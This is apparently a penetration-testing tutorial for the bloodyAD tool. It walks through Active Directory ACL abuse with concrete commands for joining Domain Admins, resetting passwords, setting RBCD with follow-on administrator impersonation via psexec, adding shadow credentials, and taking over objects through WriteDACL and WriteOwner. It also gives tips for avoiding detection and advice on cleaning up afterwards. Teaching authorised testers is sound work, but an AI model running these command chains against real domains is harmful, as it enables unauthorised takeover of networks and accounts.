bloodyAD
Active Directory privilege escalation tool that abuses ACL misconfigurations from a Linux attack box. The tool you reach for when BloodHound shows you an ACL-based attack path, GenericAll, WriteDACL, WriteOwner, and more.
What is it?
bloodyAD is a Python tool that manipulates Active Directory objects over LDAP. Where BloodHound finds ACL-based attack paths, bloodyAD exploits them: entirely from Linux without needing a Windows foothold.
In AD, every object has an Access Control List (ACL) that defines who can do what to it. Misconfigured ACLs are extremely common, a user might have GenericAll over a group, WriteDACL on a computer, or WriteOwner on another user. These misconfigurations let you escalate privileges without exploiting any vulnerability, you're using legitimate permissions that were granted too broadly.
bloodyAD handles the LDAP manipulation needed to exploit these permissions. Instead of manually crafting LDAP modification requests, you run one-line commands.
Run this first
Pick the attack that matches the ACE BloodHound showed you. A common one: you have GenericAll on a group, so add yourself to it.
$ bloodyAD -d corp.local -u 'jsmith' -p 'Password123!' --host 10.10.10.10 add groupMember 'Domain Admins' jsmith
-d, -u, -pare the domain, username and password.--hostis the domain controller.
The command you run depends entirely on which ACE you have. GenericAll on a user lets you reset their password; GenericAll on a computer lets you set shadow credentials or RBCD. Match the attack to the ACE before you run anything.
When do you use it?
- Step 1: Run BloodHound to map the domain
- Step 2: Find an ACL-based path: "User A has GenericAll over Group B, which has WriteDACL on Computer C"
- Step 3: Use bloodyAD to walk that path, add yourself to groups, modify ACLs, set RBCD, reset passwords
- Step 4: Escalate to the target (Domain Admin, specific machine, etc.)
You also use bloodyAD when you want to:
- Add a user to a group (when you have WriteProperty or GenericAll)
- Reset a user's password (ForceChangePassword)
- Set Resource-Based Constrained Delegation (RBCD) on a computer
- Add Shadow Credentials to a computer account
- Modify a DACL to grant yourself more permissions
Authentication
# With password $ bloodyAD -d corp.local -u 'jsmith' -p 'Password123!' --host 10.10.10.10 [command] # With NTLM hash $ bloodyAD -d corp.local -u 'jsmith' -p ':7facdc498ed1680c4fd1448319a8c04f' --host 10.10.10.10 [command] # With Kerberos ticket (from .ccache file) $ export KRB5CCNAME=jsmith.ccache $ bloodyAD -d corp.local -u 'jsmith' -k --host dc01.corp.local [command]
Key attacks
Add user to group (GenericAll / GenericWrite on group)
# Add jsmith to Domain Admins (if you have GenericAll/GenericWrite on the group) $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ add groupMember 'Domain Admins' 'jsmith' [+] jsmith added to Domain Admins <-- group membership is instant, no password reset needed
Force password change (ForceChangePassword)
# Reset a user's password (when you have ForceChangePassword permission) $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ set password 'targetuser' 'NewPassword123!' [+] Password changed successfully
Changing a password generates Event ID 4724 and the user will notice they can't log in. Use this as a last resort. Prefer adding to groups, setting RBCD, or Shadow Credentials when possible.
Set RBCD (GenericAll / GenericWrite on computer)
# Set RBCD: allow a controlled computer to impersonate users to the target # First, create a machine account (or use one you control) $ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \ add computer 'FAKEPC$' 'FakePass123!' # Set msDS-AllowedToActOnBehalfOfOtherIdentity on the target $ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \ add rbcd 'TARGET_SERVER$' 'FAKEPC$' # Then use impacket's getST.py to get a service ticket $ getST.py -spn cifs/TARGET_SERVER.corp.local -impersonate administrator \ corp.local/FAKEPC$:'FakePass123!' $ export KRB5CCNAME=administrator.ccache $ psexec.py -k -no-pass corp.local/administrator@TARGET_SERVER.corp.local
This is one of the most powerful AD attacks. If you have GenericAll/GenericWrite on any computer in the domain, you can set RBCD to impersonate any user (including Domain Admin) to that computer. The full chain: create machine account → set RBCD → request S4U2Self/S4U2Proxy ticket → authenticate as DA.
Shadow Credentials (GenericAll / GenericWrite on computer)
# Add shadow credentials to a computer account $ bloodyAD -d corp.local -u 'jsmith' -p 'Pass123!' --host 10.10.10.10 \ add shadowCredentials 'TARGET_SERVER$' [+] Shadow credentials added, certificate saved to: pfx_file.pfx <-- this cert IS the credential, no password change, no event 4724 [+] Use the following to authenticate: PKINITtools/gettgtpkinit.py -cert-pfx pfx_file.pfx -pfx-pass ... corp.local/TARGET_SERVER$ target.ccache
WriteDACL abuse
# Grant yourself GenericAll on a target (when you have WriteDACL) $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ add genericAll 'OU=Servers,DC=corp,DC=local' 'attacker' # Now you have full control, add to groups, reset passwords, set RBCD, etc.
WriteOwner abuse
# Take ownership of an object (when you have WriteOwner) $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ set owner 'targetuser' 'attacker' # Now grant yourself WriteDACL as the new owner $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ add genericAll 'targetuser' 'attacker' # Chain: WriteOwner → take ownership → WriteDACL → GenericAll → full control
Which attack for which ACE?
| ACE / Permission | Target type | Attack |
|---|---|---|
| GenericAll | User | Reset password, set SPN (Kerberoast), Shadow Credentials |
| GenericAll | Group | Add yourself or controlled user to the group |
| GenericAll | Computer | Set RBCD, Shadow Credentials, reset password |
| GenericWrite | User | Set SPN (targeted Kerberoast), modify attributes |
| GenericWrite | Computer | Set RBCD, Shadow Credentials |
| ForceChangePassword | User | Reset password (noisy, user notices) |
| WriteDACL | Any | Grant yourself GenericAll, then use attacks above |
| WriteOwner | Any | Take ownership → WriteDACL → GenericAll |
| AddMember | Group | Add user to group |
Cleanup
ACL attacks leave traces. In a real engagement, clean up after yourself:
# Remove user from group $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ remove groupMember 'Domain Admins' 'jsmith' # Remove RBCD delegation $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ remove rbcd 'TARGET_SERVER$' 'FAKEPC$' # Remove shadow credentials $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ remove shadowCredentials 'TARGET_SERVER$' # Delete the fake machine account $ bloodyAD -d corp.local -u 'attacker' -p 'Pass123!' --host 10.10.10.10 \ remove computer 'FAKEPC$'
Keep a log of every ACL modification, group addition, and object creation. Your report must include a cleanup section listing everything to revert. Failing to clean up is one of the most common pentest mistakes.
Common mistakes
- Not checking BloodHound first: bloodyAD is useless without knowing your ACL permissions. Always map with BloodHound before attempting ACL attacks
- Forgetting the $ on computer names: Computer accounts in AD end with
$. UseTARGET$notTARGET - Resetting passwords unnecessarily: Password resets are the noisiest ACL attack. Prefer RBCD or Shadow Credentials when you have GenericAll/GenericWrite on a computer
- Not cleaning up: Every change you make persists until reverted. Document and clean up after exploitation
- Confusing the attack chain: WriteOwner alone doesn't give you control, you need to chain: WriteOwner → take ownership → grant WriteDACL → grant GenericAll → exploit
- Creating machine accounts when MAQ is 0: The default ms-DS-MachineAccountQuota is 10, but it's sometimes set to 0. Check first with ldapsearch before trying to add computers
Check yourself
Answer each question out loud or on paper first, then open it. Retrieving the answer teaches you more than rereading the page.
BloodHound shows GenericAll from your user to a group. What is the simplest attack?
You have GenericAll on a user object, not a computer. What is the quickest path to that user's access?
You have GenericAll on a computer object. Name two attacks it enables.
You authenticate with a certificate, not a password. Which flag do you need?
-k, using a ccache file set in KRB5CCNAME, rather than -p.